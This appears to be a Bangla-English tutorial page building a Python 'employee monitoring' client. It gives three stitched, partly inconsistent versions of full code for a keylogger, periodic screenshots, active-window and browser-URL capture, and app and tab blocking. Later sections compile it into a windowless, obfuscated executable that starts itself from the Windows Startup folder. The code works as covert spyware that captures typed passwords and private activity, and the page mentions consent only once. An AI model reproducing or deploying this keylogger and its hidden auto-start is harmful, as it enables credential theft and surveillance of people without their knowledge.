1. Home
  2. Employee āĻŽāύāĻŋāϟāϰāĻŋāĻ‚
  3. āĻŦ⧇āϏāĻŋāĻ•
  4. đŸ–Ĩī¸ 🔖 Part 5: Python Client Development (Monitoring Script)

đŸ–Ĩī¸ 🔖 Part 5: Python Client Development (Monitoring Script)

đŸ–Ĩī¸ 🔖 Part 5: Python Client Development (Monitoring Script)

āĻāĻ–āĻžāύ⧇ āφāĻŽāϰāĻž āϤ⧈āϰāĻŋ āĻ•āϰāĻŦā§‹ Employee PC monitoring client āϝāĻž background service āφāĻ•āĻžāϰ⧇ āϚāϞāĻŦ⧇ āĻāĻŦāĻ‚ āφāĻŽāĻžāĻĻ⧇āϰ Django API āϤ⧇ data āĻĒāĻžāĻ āĻžāĻŦ⧇āĨ¤ āĻĒā§āϰāϤāĻŋāϟāĻŋ āĻ¸ā§āĻŸā§‡āĻĒ⧇ āĻĒā§āϰāĻĢ⧇āĻļāύāĻžāϞ āϞ⧇āϭ⧇āϞ āĻŦā§āϝāĻžāĻ–ā§āϝāĻž + Bangla comments āĻĨāĻžāĻ•āĻŦ⧇ āϝ⧇āύ āĻŦāĻžāĻ¸ā§āϤāĻŦ⧇ āϕ⧋āĻŽā§āĻĒāĻžāύāĻŋāϰ āϜāĻ¨ā§āϝ āĻĒā§āϰāĻĄāĻžāĻ•āĻļāύ āϰ⧇āĻĄāĻŋ āϟ⧁āϞ āϤ⧈āϰāĻŋ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧋āĨ¤


✅ ā§§. Goals of Python Client

✅ Active window tracking
✅ Website URL tracking
✅ Idle time tracking
✅ Screenshot capture
✅ Periodic API POST request (with token auth)
✅ Background service āĻšāĻŋāϏ⧇āĻŦ⧇ run (later PyInstaller EXE build)


🔨 Step 1.1 – Project Setup

đŸŽ¯ Create Folder

mkdir monitoring_client
cd monitoring_client
python -m venv venv venv\Scripts\activate
pip install requests pygetwindow psutil pyautogui pynput pywin32

đŸ“Ļ Install Required Libraries

LibraryUse
requestsAPI call
pygetwindow / pywin32Active window title
psutilProcess & idle time
pyautoguiScreenshot
pynputKeystroke logger

🔨 Step 1.2 – Basic Config File: config.py

# config.py

API_URL = "http://127.0.0.1:8000/api/activity-logs/create/"
TOKEN = "your_django_token_here"
EMPLOYEE_ID = 1

# Screenshot interval (seconds)
SCREENSHOT_INTERVAL = 300

🔨 Step 1.3 – Helper Functions: monitor.py

# monitor.py

import time
import requests
import json
import pygetwindow as gw
import psutil
import pyautogui
from pynput import keyboard
import threading
import os
from config import API_URL, TOKEN, EMPLOYEE_ID

# 📝 keystroke log store āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ global variable
keystrokes = []

# ✅ Active window title get function
def get_active_window():
    try:
        window = gw.getActiveWindow()
        if window:
            return window.title
    except Exception as e:
        print("Active window error:", e)
    return None

# ✅ Idle time calculate function
def get_idle_time():
    idle = 0
    for user in psutil.users():
        idle = user.idle
    return idle // 60  # minute

# ✅ Screenshot capture function
def take_screenshot():
    filename = f"screenshot_{int(time.time())}.png"
    pyautogui.screenshot(filename)
    return filename

# ✅ Keystroke listener function
def on_press(key):
    try:
        keystrokes.append(key.char)
    except AttributeError:
        keystrokes.append(str(key))

# ✅ Start keystroke listener in background
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# ✅ Data send function
def send_data():
    while True:
        active_window = get_active_window()
        idle_time = get_idle_time()
        keys = ''.join(keystrokes)

        # Screenshot every interval
        screenshot_file = take_screenshot()

        headers = {"Authorization": f"Token {TOKEN}"}
        files = {'screenshot': open(screenshot_file, 'rb')}
        data = {
            "employee": EMPLOYEE_ID,
            "active_window": active_window,
            "keystrokes": keys,
            "idle_time_min": idle_time,
        }

        try:
            response = requests.post(API_URL, headers=headers, data=data, files=files)
            print("Data sent:", response.status_code)
        except Exception as e:
            print("Error sending data:", e)

        # Clear keystrokes after sending
        keystrokes.clear()

        # Delete screenshot file to save disk space
        os.remove(screenshot_file)

        # Wait for next interval
        time.sleep(SCREENSHOT_INTERVAL)

# ✅ Main function
if __name__ == "__main__":
    start_keylogger()
    send_thread = threading.Thread(target=send_data)
    send_thread.start()
import time
import pygetwindow as gw
import psutil
import pyautogui
from pynput import keyboard
import threading
import os
from datetime import datetime

# 📝 keystroke log store āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ global variable
keystrokes = []
SCREENSHOT_INTERVAL = 60  # seconds
LOG_FILE = "activity_log.txt"

# ✅ Active window title get function
def get_active_window():
    try:
        window = gw.getActiveWindow()
        if window:
            return window.title
    except Exception as e:
        print("Active window error:", e)
    return "N/A"

# ✅ Idle time calculate function (approximation)
def get_idle_time():
    idle = 0
    for user in psutil.users():
        try:
            idle = user.idle
        except AttributeError:
            continue
    return idle // 60  # minute

# ✅ Screenshot capture function
def take_screenshot():
    filename = f"screenshot_{int(time.time())}.png"
    pyautogui.screenshot(filename)
    return filename

# ✅ Keystroke listener function
def on_press(key):
    try:
        keystrokes.append(key.char)
    except AttributeError:
        keystrokes.append(str(key))

# ✅ Start keystroke listener in background
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# ✅ Data save function
def save_data():
    while True:
        active_window = get_active_window()
        idle_time = get_idle_time()
        keys = ''.join(keystrokes)
        screenshot_file = take_screenshot()
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

        # Write to log file
        with open(LOG_FILE, "a", encoding="utf-8") as f:
            f.write(f"[{timestamp}]\n")
            f.write(f"Active Window: {active_window}\n")
            f.write(f"Idle Time (min): {idle_time}\n")
            f.write(f"Keystrokes: {keys}\n")
            f.write(f"Screenshot File: {screenshot_file}\n")
            f.write("-" * 40 + "\n")

        # Clear keystrokes after saving
        keystrokes.clear()

        # Optional: delete screenshot to save space
        os.remove(screenshot_file)

        time.sleep(SCREENSHOT_INTERVAL)

# ✅ Main function
if __name__ == "__main__":
    start_keylogger()
    save_thread = threading.Thread(target=save_data)
    save_thread.start()
import time
import pygetwindow as gw
import psutil
from pynput import keyboard
import threading
import os
import sys
import socket
from datetime import datetime
import winreg
import win32gui
import win32con
import win32process
import win32com.client
import pythoncom
import pyperclip
import urllib.parse
import csv
import ctypes
from ctypes import wintypes

# 📝 āĻ—ā§āϞ⧋āĻŦāĻžāϞ āϭ⧇āϰāĻŋāϝāĻŧ⧇āĻŦāϞ: āϞāĻ— āĻĢāĻžāχāϞ āĻāĻŦāĻ‚ āχāĻ¨ā§āϟāĻžāϰāĻ­āĻžāϞ āϏ⧇āϟ āĻ•āϰāĻž
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
LOG_FILE = os.path.join(SCRIPT_DIR, "activity_log.csv")
TEMP_LOG_FILE = os.path.join(SCRIPT_DIR, "activity_log_temp.csv")
MONITOR_INTERVAL = 5  # āĻĒā§āϰāϤāĻŋ ā§Ģ āϏ⧇āϕ⧇āĻ¨ā§āĻĄā§‡ āĻĄā§‡āϟāĻž āĻšā§‡āĻ•
keystrokes = []  # āϕ⧀āĻ¸ā§āĻŸā§āϰ⧋āĻ• āϏāĻ‚āϰāĻ•ā§āώāϪ⧇āϰ āϜāĻ¨ā§āϝ āϞāĻŋāĻ¸ā§āϟ
keystrokes_lock = threading.Lock()  # Thread-safe keystroke access
blocked_apps = ["notepad.exe", "calc.exe"]  # āĻŦā§āϞāĻ• āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻ…ā§āϝāĻžāĻĒ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž
blocked_urls = ["facebook.com", "youtube.com"]  # āĻŦā§āϞāĻ• āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ URL āϤāĻžāϞāĻŋāĻ•āĻž
active_window_history = []  # āωāχāĻ¨ā§āĻĄā§‹ āϏ⧁āχāϚāĻŋāĻ‚ āĻŸā§āĻ°ā§āϝāĻžāĻ• āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ
history_lock = threading.Lock()  # Thread-safe window history access
RETRY_ATTEMPTS = 3  # āĻĢāĻžāχāϞ āϞ⧇āĻ–āĻžāϰ āϜāĻ¨ā§āϝ āϰāĻŋāĻŸā§āϰāĻžāχ āϏāĻ‚āĻ–ā§āϝāĻž
RETRY_DELAY = 1  # āϰāĻŋāĻŸā§āϰāĻžāχāϝāĻŧ⧇āϰ āĻŽāĻ§ā§āϝ⧇ āĻĻ⧇āϰāĻŋ (āϏ⧇āϕ⧇āĻ¨ā§āĻĄ)
MAX_KEYSTROKE_LENGTH = 1000  # CSV-āϤ⧇ āϕ⧀āĻ¸ā§āĻŸā§āϰ⧋āϕ⧇āϰ āϏāĻ°ā§āĻŦā§‹āĻšā§āϚ āĻĻ⧈āĻ°ā§āĻ˜ā§āϝ

# 📌 āĻŽā§āϝāĻžāĻĒāĻŋāĻ‚: āĻŦāĻŋāĻļ⧇āώ āϕ⧀āϗ⧁āϞ⧋āϰ āϜāĻ¨ā§āϝ āĻŽāĻžāύāĻŦ-āĻĒāĻžāĻ āϝ⧋āĻ—ā§āϝ āύāĻžāĻŽ
SPECIAL_KEY_MAP = {
    'space': '[Space]',
    'enter': '[Enter]',
    'tab': '[Tab]',
    'backspace': '[Backspace]',
    'delete': '[Delete]',
    'ctrl_l': '[Ctrl]',
    'ctrl_r': '[Ctrl]',
    'alt_l': '[Alt]',
    'alt_r': '[Alt]',
    'shift': '[Shift]',
    'shift_r': '[Shift]',
    'caps_lock': '[CapsLock]',
    'esc': '[Esc]',
    'up': '[Up]',
    'down': '[Down]',
    'left': '[Left]',
    'right': '[Right]',
}

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ⧇āϰ āύāĻžāĻŽ āĻāĻŦāĻ‚ IP āĻ āĻŋāĻ•āĻžāύāĻž āĻĒāĻžāĻ“āϝāĻŧāĻž
def get_computer_info():
    try:
        computer_name = socket.gethostname()
        ip_address = socket.gethostbyname(computer_name)
        return computer_name, ip_address
    except Exception as e:
        print(f"āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϤāĻĨā§āϝ āĻĒāĻžāĻ“āϝāĻŧāĻžāϰ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
        return "N/A", "N/A"

# 📌 āĻĢāĻžāĻ‚āĻļāύ: CSV āĻĢāĻžāχāϞ āϤ⧈āϰāĻŋ āĻāĻŦāĻ‚ āĻšā§‡āĻĄāĻžāϰ āϝ⧋āĻ— āĻ•āϰāĻž
def initialize_csv(log_file=LOG_FILE):
    try:
        if not os.path.exists(log_file):
            with open(log_file, "a", newline="", encoding="utf-8") as f:
                writer = csv.writer(f)
                writer.writerow([
                    "Timestamp", "Computer Name", "IP Address", "Active Window", 
                    "Process Name", "Idle Time (min)", "Browser URL", 
                    "URL Duration (sec)", "Keystrokes", "USB Status", 
                    "Window Switch History"
                ])
    except Exception as e:
        print(f"CSV āĻĢāĻžāχāϞ āϤ⧈āϰāĻŋ āĻ¤ā§āϰ⧁āϟāĻŋ ({log_file}): {e}")

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āĻŸā§‡āĻŽā§āĻĒā§‹āϰāĻžāϰāĻŋ āĻĢāĻžāχāϞ⧇āϰ āĻĄā§‡āϟāĻž āĻŽā§‚āϞ CSV āϤ⧇ āĻŽāĻžāĻ°ā§āϜ āĻ•āϰāĻž
def merge_temp_file():
    if not os.path.exists(TEMP_LOG_FILE):
        return
    try:
        with open(TEMP_LOG_FILE, "r", newline="", encoding="utf-8") as temp_f:
            reader = csv.reader(temp_f)
            temp_data = list(reader)[1:]  # Skip header
        with open(LOG_FILE, "a", newline="", encoding="utf-8") as main_f:
            writer = csv.writer(main_f)
            for row in temp_data:
                writer.writerow(row)
        os.remove(TEMP_LOG_FILE)
        print(f"āĻŸā§‡āĻŽā§āĻĒā§‹āϰāĻžāϰāĻŋ āĻĢāĻžāχāϞ ({TEMP_LOG_FILE}) āĻŽā§‚āϞ CSV āϤ⧇ āĻŽāĻžāĻ°ā§āϜ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇āĨ¤")
    except Exception as e:
        print(f"āĻŸā§‡āĻŽā§āĻĒā§‹āϰāĻžāϰāĻŋ āĻĢāĻžāχāϞ āĻŽāĻžāĻ°ā§āϜ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āϏāĻ•ā§āϰāĻŋāϝāĻŧ āωāχāĻ¨ā§āĻĄā§‹āϰ āύāĻžāĻŽ āĻāĻŦāĻ‚ āĻĒā§āϰāϏ⧇āϏ⧇āϰ āϤāĻĨā§āϝ āĻĒāĻžāĻ“āϝāĻŧāĻž
def get_active_window():
    try:
        window = gw.getActiveWindow()
        if window:
            hwnd = win32gui.GetForegroundWindow()
            _, pid = win32process.GetWindowThreadProcessId(hwnd)
            process = psutil.Process(pid)
            return window.title, process.name()
    except Exception as e:
        print(f"āωāχāĻ¨ā§āĻĄā§‹ āĻŸā§āĻ°ā§āϝāĻžāĻ•āĻŋāĻ‚ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
    return "N/A", "N/A"

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āĻŦāĻ°ā§āϤāĻŽāĻžāύ URL āĻĒāĻžāĻ“āϝāĻŧāĻž
def get_browser_url(window_title):
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        if any(browser in window_title.lower() for browser in ["chrome", "edge", "firefox"]):
            shell = win32com.client.Dispatch("WScript.Shell")
            shell.AppActivate(window_title)
            shell.SendKeys("^l")  # Focus URL bar
            time.sleep(0.1)
            shell.SendKeys("^c")  # Copy URL
            time.sleep(0.1)
            url = pyperclip.paste()
            parsed_url = urllib.parse.urlparse(url).hostname or "N/A"
            return parsed_url
        else:
            return "N/A"
    except Exception as e:
        print(f"URL āĻŸā§āĻ°ā§āϝāĻžāĻ•āĻŋāĻ‚ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
        return "N/A"
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋāϝāĻŧ (Idle) āϏāĻŽāϝāĻŧ āĻ—āĻŖāύāĻž
def get_idle_time():
    try:
        class LASTINPUTINFO(ctypes.Structure):
            _fields_ = [("cbSize", wintypes.UINT), ("dwTime", wintypes.DWORD)]
        
        lii = LASTINPUTINFO()
        lii.cbSize = ctypes.sizeof(LASTINPUTINFO)
        ctypes.windll.user32.GetLastInputInfo(ctypes.byref(lii))
        current_time = ctypes.windll.kernel32.GetTickCount()
        idle_ms = current_time - lii.dwTime
        return idle_ms // (60 * 1000)  # Convert to minutes
    except Exception as e:
        print(f"Idle āϟāĻžāχāĻŽ āĻ—āĻŖāύāĻž āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
        return 0

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āϕ⧀āĻ¸ā§āĻŸā§āϰ⧋āĻ• āϞāĻ— āĻ•āϰāĻž (āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āϜāĻ¨ā§āϝ)
def on_press(key):
    try:
        hwnd = win32gui.GetForegroundWindow()
        window_title = win32gui.GetWindowText(hwnd).lower()
        # Validate that the active window is a browser
        if any(browser in window_title for browser in ["chrome", "edge", "firefox"]):
            with keystrokes_lock:
                # Handle printable characters
                if hasattr(key, 'char') and key.char and key.char.isprintable():
                    keystrokes.append(key.char)
                # Handle special keys
                else:
                    key_str = str(key).replace('Key.', '')
                    if key_str in SPECIAL_KEY_MAP:
                        keystrokes.append(SPECIAL_KEY_MAP[key_str])
                    # Ignore unknown or non-printable control keys
    except Exception as e:
        print(f"āϕ⧀āĻ¸ā§āĻŸā§āϰ⧋āĻ• āϞāĻ—āĻŋāĻ‚ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āϕ⧀āĻ¸ā§āĻŸā§āϰ⧋āĻ• āϞāĻŋāϏāύāĻžāϰ āĻļ⧁āϰ⧁ āĻ•āϰāĻž
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āĻ…ā§āϝāĻžāĻĒ āĻŦāĻž āωāχāĻ¨ā§āĻĄā§‹ āĻŦā§āϞāĻ• āĻ•āϰāĻž
def block_app_or_window():
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        while True:
            try:
                _, process_name = get_active_window()
                if process_name.lower() in blocked_apps:
                    hwnd = win32gui.GetForegroundWindow()
                    win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
                    print(f"āĻŦā§āϞāĻ• āĻ•āϰāĻž āĻ…ā§āϝāĻžāĻĒ āĻŦāĻ¨ā§āϧ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇: {process_name}")
            except Exception as e:
                print(f"āĻ…ā§āϝāĻžāĻĒ āĻŦā§āϞāĻ•āĻŋāĻ‚ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
            time.sleep(1)
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 āĻĢāĻžāĻ‚āĻļāύ: URL āĻŦā§āϞāĻ• āĻ•āϰāĻž
def block_url(current_url):
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        if current_url in blocked_urls:
            shell = win32com.client.Dispatch("WScript.Shell")
            shell.SendKeys("^w")  # Close browser tab
            print(f"āĻŦā§āϞāĻ• āĻ•āϰāĻž URL āĻŦāĻ¨ā§āϧ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇: {current_url}")
    except Exception as e:
        print(f"URL āĻŦā§āϞāĻ•āĻŋāĻ‚ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 āĻĢāĻžāĻ‚āĻļāύ: USB āĻĄāĻŋāĻ­āĻžāχāϏ āϏāĻ‚āϝ⧋āĻ— āĻļāύāĻžāĻ•ā§āϤ āĻ•āϰāĻž
def detect_usb():
    try:
        usb_devices = []
        for disk in psutil.disk_partitions():
            if "removable" in disk.opts.lower():
                usb_devices.append(disk.device)
        return ", ".join(usb_devices) if usb_devices else "No USB detected"
    except Exception as e:
        print(f"USB āĻĄāĻŋāĻŸā§‡āĻ•āĻļāύ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
        return "N/A"

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āωāχāĻ¨ā§āĻĄā§‹ āϏ⧁āχāϚāĻŋāĻ‚ āĻŸā§āĻ°ā§āϝāĻžāĻ• āĻ•āϰāĻž
def track_window_switch(current_window, timestamp):
    with history_lock:
        if active_window_history and active_window_history[-1]["window"] != current_window:
            active_window_history.append({"window": current_window, "timestamp": timestamp})

# 📌 āĻĢāĻžāĻ‚āĻļāύ: āĻĄā§‡āϟāĻž CSV āĻĢāĻžāχāϞ⧇ āϏāĻ‚āϰāĻ•ā§āώāĻŖ
def save_data():
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        initialize_csv()  # Initialize primary CSV
        initialize_csv(TEMP_LOG_FILE)  # Initialize temp CSV
        last_url = None
        url_start_time = time.time()
        last_window_title = None  # Track the last window title
        computer_name, ip_address = get_computer_info()  # Get computer info
        while True:
            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            window_title, process_name = get_active_window()
            
            # Only proceed if window title has changed or is the first run
            if window_title != last_window_title:
                idle_time = get_idle_time()
                current_url = get_browser_url(window_title) if any(browser in window_title.lower() for browser in ["chrome", "edge", "firefox"]) else "N/A"
                
                with keystrokes_lock:
                    # Join keystrokes into a readable string, limit length
                    keys = ''.join(keystrokes[:MAX_KEYSTROKE_LENGTH]) if keystrokes else "None"
                    keystrokes.clear()

                usb_status = detect_usb()

                # URL āϏāĻŽāϝāĻŧ āĻŸā§āĻ°ā§āϝāĻžāĻ•āĻŋāĻ‚
                url_duration = 0
                if current_url != last_url and last_url and current_url != "N/A":
                    url_duration = time.time() - url_start_time
                    url_start_time = time.time()
                last_url = current_url

                # āωāχāĻ¨ā§āĻĄā§‹ āϏ⧁āχāϚ āĻŸā§āĻ°ā§āϝāĻžāĻ•āĻŋāĻ‚
                track_window_switch(window_title, timestamp)

                # CSV āĻĢāĻžāχāϞ⧇ āĻĄā§‡āϟāĻž āϞ⧇āĻ–āĻž (āϰāĻŋāĻŸā§āϰāĻžāχ āϞāϜāĻŋāĻ• āϏāĻš)
                log_file = LOG_FILE
                for attempt in range(RETRY_ATTEMPTS):
                    try:
                        with open(log_file, "a", newline="", encoding="utf-8") as f:
                            writer = csv.writer(f)
                            with history_lock:
                                writer.writerow([
                                    timestamp, computer_name, ip_address, window_title, 
                                    process_name, idle_time, current_url, f"{url_duration:.2f}", 
                                    keys, usb_status, str(active_window_history[-5:])
                                ])
                        merge_temp_file()  # Attempt to merge temp file if it exists
                        break
                    except PermissionError as e:
                        print(f"CSV āϞ⧇āĻ–āĻžāϰ āĻ¤ā§āϰ⧁āϟāĻŋ (āĻĒā§āϰāĻšā§‡āĻˇā§āϟāĻž {attempt + 1}/{RETRY_ATTEMPTS}, {log_file}): {e}")
                        if attempt == RETRY_ATTEMPTS - 1:
                            log_file = TEMP_LOG_FILE  # Switch to temp file
                            initialize_csv(log_file)
                        time.sleep(RETRY_DELAY)
                    except Exception as e:
                        print(f"āĻ…āĻĒā§āϰāĻ¤ā§āϝāĻžāĻļāĻŋāϤ CSV āϞ⧇āĻ–āĻžāϰ āĻ¤ā§āϰ⧁āϟāĻŋ ({log_file}): {e}")
                        break

                # URL āĻŦā§āϞāĻ• āĻ•āϰāĻž (āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ URL āĻĨāĻžāĻ•āϞ⧇)
                if current_url != "N/A":
                    block_url(current_url)

                last_window_title = window_title  # Update last window title

            time.sleep(MONITOR_INTERVAL)
    except Exception as e:
        print(f"āĻĄā§‡āϟāĻž āϏāĻ‚āϰāĻ•ā§āώāĻŖ āĻ¤ā§āϰ⧁āϟāĻŋ: {e}")
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 āĻĒā§āϰāϧāĻžāύ āĻĢāĻžāĻ‚āĻļāύ: āϏāĻŦ āĻĢāĻŋāϚāĻžāϰ āĻļ⧁āϰ⧁ āĻ•āϰāĻž
if __name__ == "__main__":
    start_keylogger()
    save_thread = threading.Thread(target=save_data)
    block_thread = threading.Thread(target=block_app_or_window)
    save_thread.daemon = True  # Make threads daemon so they exit with main program
    block_thread.daemon = True
    save_thread.start()
    block_thread.start()
    try:
        while True:
            time.sleep(1)  # Keep main thread alive
    except KeyboardInterrupt:
        print("āĻĒā§āϰ⧋āĻ—ā§āϰāĻžāĻŽ āĻŦāĻ¨ā§āϧ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇...")

🔎 Bangla Explanation:

✅ get_active_window() → current active window title return āĻ•āϰ⧇
✅ get_idle_time() → user idle time calculate āĻ•āϰ⧇
✅ take_screenshot() → screenshot file save āĻ•āϰ⧇
✅ on_press() → keystroke capture āĻ•āϰ⧇ global variable āĻ store āĻ•āϰ⧇
✅ send_data() → āϏāĻŦ data API āϤ⧇ POST āĻ•āϰ⧇ periodic interval āĻ
✅ threading → keylogger & data sender parallel āϚāϞ⧇


✅ ā§Ē. Run Script

python monitor.py

âœ”ī¸ Script run āĻ•āϰāϞ⧇ āĻĒā§āϰāϤāĻŋ interval āĻ data Django API āϤ⧇ āϝāĻžāĻŦ⧇āĨ¤ Admin panel āĻ logs āĻĻ⧇āĻ–āĻž āϝāĻžāĻŦ⧇āĨ¤


🔒 ā§Ģ. Security Considerations (Production)

🔐 Token in .env file āϰāĻžāĻ–āĻŦ⧇
🔐 SSL/TLS enforced API call (https)
🔐 PyInstaller build āĻ•āϰāϞ⧇ code obfuscation
🔐 Legal consent mandatory for keystroke logging


✅ ā§Ŧ. PyInstaller Build (Optional)

pip install pyinstaller
pyinstaller --onefile --noconsole monitor.py

âœ”ī¸ dist/monitor.exe employee PC āϤ⧇ deploy āĻ•āϰ⧇ Windows Task Scheduler āĻ add āĻ•āϰāϞ⧇ auto start āĻšāĻŦ⧇āĨ¤


📝 🔖 Summary of Part 5

âœ”ī¸ Professional grade Python client monitoring script complete
âœ”ī¸ Active window, idle time, keystroke, screenshot capture
âœ”ī¸ API integration tested
âœ”ī¸ Future ready for PyInstaller EXE deployment


🚀 âžĄī¸ Next Step:

🔖 Part 6: Security & Deployment

  1. Token auth & rate limiting best practices
  2. HTTPS setup (Let’s Encrypt)
  3. PyInstaller EXE obfuscation
  4. Windows service installer creation
  5. VPS deployment (Gunicorn + Nginx)

👉 āĻŦāϞ⧋ “Start Part 6” – āϤāĻžāĻšāϞ⧇ āφāĻŽāϰāĻž Security & Deployment āĻļ⧁āϰ⧁ āĻ•āϰāĻŦā§‹, āϝāĻž production āĻ going live āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ mandatoryāĨ¤

đŸ› ī¸ 🔖 Solution 1: Windows Startup Folder (Easy Method)

đŸŽ¯ Use Case: Personal PC āĻŦāĻž low privilege employee PC

  1. PyInstaller āĻĻāĻŋāϝāĻŧ⧇ EXE āĻŦāĻžāύāĻžāĻ“
pip install pyinstaller
pyinstaller --onefile --noconsole monitor.py

āĻāϤ⧇ dist/monitor.exe āϤ⧈āϰāĻŋ āĻšāĻŦ⧇āĨ¤


  1. EXE āĻĢāĻžāχāϞāϟāĻŋ Startup folder āĻ āϰāĻžāĻ–ā§‹
  • Win + R → āϞāĻŋāĻ–ā§‹: shell:startup → Enter
  • Startup folder āϖ⧁āϞāĻŦ⧇
  • āϤ⧋āĻŽāĻžāϰ monitor.exe āĻĢāĻžāχāϞāϟāĻŋāϰ shortcut āĻāĻ–āĻžāύ⧇ paste āĻ•āϰ⧋āĨ¤

✅ Result: PC boot āĻšāϞ⧇ user login āĻāϰ āĻĒāϰāχ exe run āĻšāĻŦ⧇āĨ¤

How can we help?